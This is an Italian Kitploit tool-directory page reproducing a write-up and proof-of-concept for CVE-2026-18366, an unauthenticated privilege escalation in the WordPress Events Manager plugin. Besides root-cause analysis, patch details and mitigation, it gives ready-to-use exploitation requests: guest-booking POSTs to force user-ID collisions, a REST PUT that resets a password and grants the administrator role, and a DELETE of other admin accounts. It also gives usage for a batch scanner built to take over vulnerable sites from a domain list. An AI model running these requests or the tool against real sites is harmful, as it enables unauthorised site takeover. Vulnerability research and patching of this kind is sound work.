Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-18366 — PoC di escalation dei privilegi senza autenticazione per WordPress Events Manager < 7.4.1; scopre ID di post/utente in collisione ed eleva i target al ruolo di amministratore tramite REST o wp-admin. | Kitploit
Strumenti/GitHubGitHub/ghostpels/cve-2026-18366
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta Informazioni
GitHubghostpels/cve-2026-18366

CVE-2026-18366

PoC di escalation dei privilegi senza autenticazione per WordPress Events Manager < 7.4.1; scopre ID di post/utente in collisione ed eleva i target al ruolo di amministratore tramite REST o wp-admin.

Vedi Repository
3 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-18366 — Events Manager < 7.4.1: Escalation dei privilegi non autenticata ad Amministratore

ProdottoEvents Manager (plugin WordPress)
Versioni interessate7.1.0 – 7.4.0.x
Versione corretta7.4.1
DebolezzaCWE-269: Gestione impropria dei privilegi
GravitàCVSS 3.1: 9.8 (Critico) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
WPVDB ID82767ce2-01e4-46ad-a52b-72d3ab2049bd
Ricercatore originaleJakub Herman
Write-up e PoCghostpel

Cronologia della divulgazione

  • 2026-08-03 — Rilasciata Events Manager 7.4.1 con la correzione (rilascio di sicurezza del fornitore).
  • 2026-08-12 — Pubblicata la voce IONIX Threat Center.
  • 2026-08-21 — Questo write-up e la prova di concetto (poc.py).

Riepilogo

Le versioni di Events Manager dalla 7.1.0 alla 7.4.0.x contengono una vulnerabilità di escalation dei privilegi che consente a un attaccante completamente non autenticato di assumere il controllo di qualsiasi account utente il cui ID collida con l'ID di uno dei post del plugin (event / location / event-recurring / location-recurring). La collisione può essere forzata sui siti con le prenotazioni ospite abilitate (il default): ogni prenotazione ospite crea un account utente reale e fa avanzare di uno il contatore auto-increment di wp_users, consentendo all'attaccante di "camminare" nello spazio degli ID utente fino a raggiungere l'ID di un post event/location.

La causa principale: il filtro map_meta_cap del plugin scarta la lista di capability che WordPress aveva già calcolato ($caps = []) per qualsiasi meta-capability, ogni volta che l'ID dell'oggetto della capability risulta corrispondere a un post event/location — incluse le capability core di WordPress come edit_user, delete_user, promote_user e remove_user. Una lista di capability vuota viene letta come "nessuna capability richiesta" — cioè consentito a tutti, inclusi gli utenti non autenticati.

Conseguenze (tutte non autenticate, tramite la WP REST API): modificare la password di qualsiasi account in collisione, elevarlo a administrator, o eliminarlo.

Versione analizzata: 7.4.0.1 (vulnerabile) — confrontata tramite diff con 7.4.1 (corretta).

Versioni interessate

VersioneStato
≤ 7.0.5Non interessata (la em_map_meta_cap legacy gestisce solo le capability proprie di EM)
7.1.0 – 7.4.0.x (il sistema di archetipi con la difettosa è stato introdotto nella 7.1.0)

Causa principale — map_meta_cap svuota $caps

classes/em-archetypes.php (versione 7.4.0.1):

Conseguenza: ogni controllo current_user_can('edit_user', X) / delete_user / promote_user / remove_user restituisce TRUE ogni volta che X corrisponde all'ID di un post event/location. Il plugin "scarta le decisioni di controllo degli accessi che WordPress aveva già preso" — esattamente come descritto da WPScan.

La correzione nella 7.4.1

Verificata confrontando tramite diff la 7.4.0.1 con la 7.4.1: il reset ora è protetto da una corrispondenza esatta della capability per ciascun ramo (es. && $c['read'][$post->post_type] == $cap), quindi $caps viene svuotata solo quando la capability richiesta è realmente una meta-cap di archetipo. Commento della patch: "Il reset su qualsiasi cap con oggetto svuotava la lista dei requisiti per cap non correlate (es. edit_user, promote_user), che viene letta come allow."

Impatto — operazioni amministrative core di WordPress esposte (senza login, tramite REST API)

Gli endpoint REST Users (/wp-json/wp/v2/users/{id}) non hanno un gate di login globale — il controllo degli accessi avviene esclusivamente tramite callback di permessi, che passano tutti attraverso lo stesso filtro map_meta_cap:

Effetto collaterale: anche edit_comment è interessata quando un ID commento capita di essere uguale a un ID di post event/location (la tabella wp_comments condivide lo stesso spazio numerico).

Forzare la collisione degli ID tramite prenotazione ospite (punto di ingresso)

La collisione esiste perché wp_users.ID e wp_posts.ID sono sequenze auto-increment indipendenti che inevitabilmente si sovrappongono. Le prenotazioni ospite la rendono forzabile:

  • em-install.php:896 — dbem_bookings_anonymous = 1: prenotazioni ospite abilitate di default; :871 dbem_bookings_registration_disable = 0 (registrazione abilitata).
  • em-actions.php:340-344 — booking_add è in $booking_nopriv_actions → richiamabile senza login (tramite wp_ajax_nopriv_booking_add, priorità 999999, righe :817-830, o wp_loaded :11).
  • em-actions.php:360-375 — flusso di booking_add: → → → → . (Il nonce è solo una protezione CSRF — il nonce di viene renderizzato nel modulo di prenotazione pubblico, quindi chiunque può ottenerlo.)

Catena secondaria osservata durante l'audit (attribuzione della prenotazione tramite person_id) — events-manager.php:430-437 (em_load_event, $EM_Person da $_REQUEST['person_id'] senza login), em-booking.php:1060-1072 (get_person() sovrascrive il person_id di una nuova prenotazione), em-booking.php:2004-2006 (can_manage() = TRUE per una prenotazione senza ID), em-functions.php:448-449 — invariata nella 7.4.1; è un vettore separato (attribuzione errata della prenotazione), non il cuore di questa CVE.

Sfruttamento (non autenticato)

  1. Determina l'ID di destinazione. Enumera gli ID dei post event/location pubblici (permalinks, feed, /wp-json/wp/v2/event, o brute force sequenziale degli ID). Supponiamo che il bersaglio sia N.
  2. (Opzionale — forzare la collisione) Invia prenotazioni ospite ripetute così che il prossimo account ottenga l'ID N:
    root@kitploit:~
    POST /wp-admin/admin-ajax.php?action=booking_add
      event_id=<E>&em_tickets[<T>][spaces]=1
      &user_email=attacker%40mail.com&user_name=Attacker
      &_wpnonce=<nonce from the public booking form>
    
    Ogni POST → un nuovo account; l'account con ID N appartiene all'attaccante (la password viene inviata via email all'indirizzo dell'attaccante).
  3. Eleva ad Amministratore + modifica la password:
    root@kitploit:~
    PUT /wp-json/wp/v2/users/N
    Content-Type: application/json
    {"password":"Pwned123!","roles":["administrator"]}
    
    I callback di permesso edit_user + promote_user passano perché get_post(N) risolve a un post event/location → $caps = []. (Se un — es. un vecchio admin — ha già l'ID in collisione con un ID di post event, il passo 2 non è necessario; l'attaccante prende direttamente il controllo di quell'account.)

Requisiti

  • Events Manager 7.1 – 7.4.0.x installata e attiva (le CPT event/location registrate).
  • Almeno un post event/location (il suo ID è la chiave di collisione).
  • Prenotazioni ospite abilitate (default) — necessarie solo per forzare la collisione; i siti che per caso hanno un account il cui ID è uguale a un ID di post event/location sono attaccabili direttamente tramite REST.

Prova di concetto — poc.py

poc.py è una PoC batch asincrona (asyncio + aiohttp) che, per ogni target: fa il fingerprinting della versione di EM (limitata all'intervallo vulnerabile [7.1, 7.4.1)), scopre gli ID dei post EM raggiungibili dall'esterno (sitemap WP → /locations/, opzionalmente un crawl del modulo di prenotazione), verifica gli ID scoperti per la presenza di un account utente esistente (la condizione di collisione), ed eleva quelli che collidono — tramite il canale REST, o il canale wp-admin quando viene fornita una sessione e REST è bloccato. Nessuna scansione cieca dell'intervallo utenti, nessuna prenotazione ospite, nessuna creazione di account.

Il runner multiplexa tutte le I/O su un singolo event loop (quasi 0% di CPU quando è I/O-bound; -t limita la concorrenza invece dei core), scansiona sul loop solo chunk head limitati di 64 KiB, scarica le parse pesanti (XML della sitemap, bundle delle pagine crawlate, modulo del profilo) su thread worker tramite asyncio.to_thread, e applica il delay di cortesia su ogni tentativo di pagina. La logica di forzatura in sé è invariata (stessi gate, stessi oracoli, stessa verifica).

root@kitploit:~
py -3 poc.py -l domains.txt                     # batch (defaults: hasil.txt + id-post.txt)
py -3 poc.py -l domains.txt -t 50 -v
py -3 poc.py https://target.example -v          # single domain
py -3 poc.py -l domains.txt --crawl             # add booking-page crawl discovery
py -3 poc.py -l domains.txt --wp-login sub --wp-password 'Pass1!' \
    --wp-session 'wordpress_logged_in_abc=...'  # wp-admin fallback channel

Requisiti: Python 3.9+, pip install aiohttp.

I risultati vengono scritti in streaming su hasil.txt (takeover confermati) e id-post.txt (ogni dominio vulnerabile in cui sono stati scoperti ID di post EM, con collision=yes/no/unknown).

Nota: questa PoC è stata ricostruita in modo indipendente dall'analisi statica del sorgente 7.4.0.1 e dal diff della patch 7.4.1 — non è la PoC di WPScan.

SOLO TEST DI SICUREZZA AUTORIZZATI. Eseguire esclusivamente contro sistemi di tua proprietà o per i quali hai un'esplicita autorizzazione scritta. La PoC effettua semplici richieste HTTP — nessuna evasione; potrebbe essere visibile nei log/IDS.

Mitigazione

  • Aggiorna a Events Manager 7.4.1 o successiva.
  • Nel frattempo: disabilita le prenotazioni ospite (dbem_bookings_anonymous), limita gli endpoint REST degli utenti a livello di WAF e monitora modifiche di password, escalation di ruoli ed eliminazioni di account.

Crediti

  • Scoperta della vulnerabilità: Jakub Herman (accreditato da WPScan)
  • Write-up e PoC: ghostpel

Riferimenti

  • WPScan: https://wpscan.com/vulnerability/82767ce2-01e4-46ad-a52b-72d3ab2049bd/
  • IONIX Threat Center: https://www.ionix.io/threat-center/cve-2026-18366/
  • VulDB: https://vuldb.com/cve/CVE-2026-18366
  • OpenCVE: https://app.opencve.io/cve/CVE-2026-18366
  • Stack.watch: https://stack.watch/vuln/CVE-2026-18366/
Scarica lo strumento
Vulnerabile
map_meta_cap
7.4.1Corretta
RigaCodiceRuolo
:33add_filter( 'map_meta_cap', [ static::class, 'map_meta_cap'], 10, 4 );Filtro globale e incondizionato — viene eseguito per ogni controllo di meta-capability di WordPress, incluse quelle core e quelle per gli utenti non autenticati
:547if ( !empty( $args[0] ) ) {L'oggetto della capability viene considerato un post ID
:548$post = get_post($args[0]);Collisione ID: l'ID utente di destinazione (per cap come edit_user) viene trattato come un ID post
:551`if( empty($post->post_type)
:563`if ( !empty( $c['read'][$post->post_type] )
:564–565$caps = [];La lista di capability viene scartata incondizionatamente — anche se la cap richiesta non è una cap di archetipo read/edit/delete_event
:568/577/584rami if/elseif$caps viene riempita di nuovo solo quando $cap corrisponde esattamente a una meta-cap di archetipo; per edit_user, delete_user, promote_user, remove_user nessun ramo corrisponde → $caps resta vuota
:597return $caps;Array vuota = "nessuna capability richiesta" = CONSENTITO a chiunque, incluso l'ID utente 0
AzioneEndpoint / funzione coreCapability bypassata
Modifica la password dell'account di destinazionePUT /wp-json/wp/v2/users/{id} con {"password":"..."} → wp_update_user() (controllo interno edit_user)edit_user
Eleva l'account ad AmministratorePUT /wp-json/wp/v2/users/{id} con {"roles":["administrator"]}promote_user
Elimina un accountDELETE /wp-json/wp/v2/users/{id}?reassign=... → wp_delete_user() (controllo interno delete_user)delete_user
(Multisito) rimuove un utente dal blogremove_userremove_user
em_verify_nonce('booking_add')
get_post()
validate()
em_booking_add_registration()
$EM_Bookings->add()
booking_add
  • em-functions.php:405-417 — ramo ospite: em_register_new_user($user_data) con l'email dell'attaccante.
  • em-functions.php:510 — wp_insert_user($user_data) → l'auto-increment di wp_users avanza di 1 per ogni prenotazione ospite → l'attaccante controlla il tasso di crescita del contatore degli ID utente finché non atterra sull'ID del post event/location desiderato (WPScan: "ogni prenotazione ospite crea un account utente reale e fa avanzare di uno il contatore degli ID utente").
  • account esistente
    N
  • Elimina altri account i cui ID collidono (es. un altro admin):
    root@kitploit:~
    DELETE /wp-json/wp/v2/users/M?reassign=N
    
  • Accedi come amministratore → compromissione totale del sito.